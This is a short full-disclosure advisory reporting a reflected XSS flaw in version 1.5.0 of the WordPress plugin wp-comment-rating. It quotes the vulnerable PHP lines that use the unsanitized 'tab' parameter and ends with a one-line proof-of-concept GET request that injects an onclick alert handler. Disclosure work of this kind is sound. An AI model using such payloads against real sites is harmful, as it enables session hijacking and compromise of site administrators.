## FULL DISCLOSURE #Product : wp-comment-rating #Exploit Author : Rahul Pratap Singh #Version : 1.5.0 #Home page Link : http://codecanyon.net/item/wordpress-comment-rating-plugin/6582710 #Website : 0x62626262.wordpress.com #Linkedin : https://in.linkedin.com/in/rahulpratapsingh94 #Date : 30/Jan/2016 XSS Vulnerability: ---------------------------------------- Description: ---------------------------------------- "tab" parameter is not sanitized that leads to Reflected XSS. ---------------------------------------- Vulnerable Code: ---------------------------------------- File Name: wpb_plugin_admin_page.php line:194 $this->current_tab = isset( $_GET['tab'] ) ? $_GET['tab'] : ''; line:553 $active_tab = $this->current_tab; line:558 $active_tab = isset( $this->tabs[0] ) && empty( $active_tab ) ? $this->tabs[0]-> get_id() : $active_tab; line:561
---------------------------------------- Exploit: ---------------------------------------- GET /wp-admin/edit-comments.php?page=wpcommentrating&tab="> < input type=text onclick=alert(/XSS/)>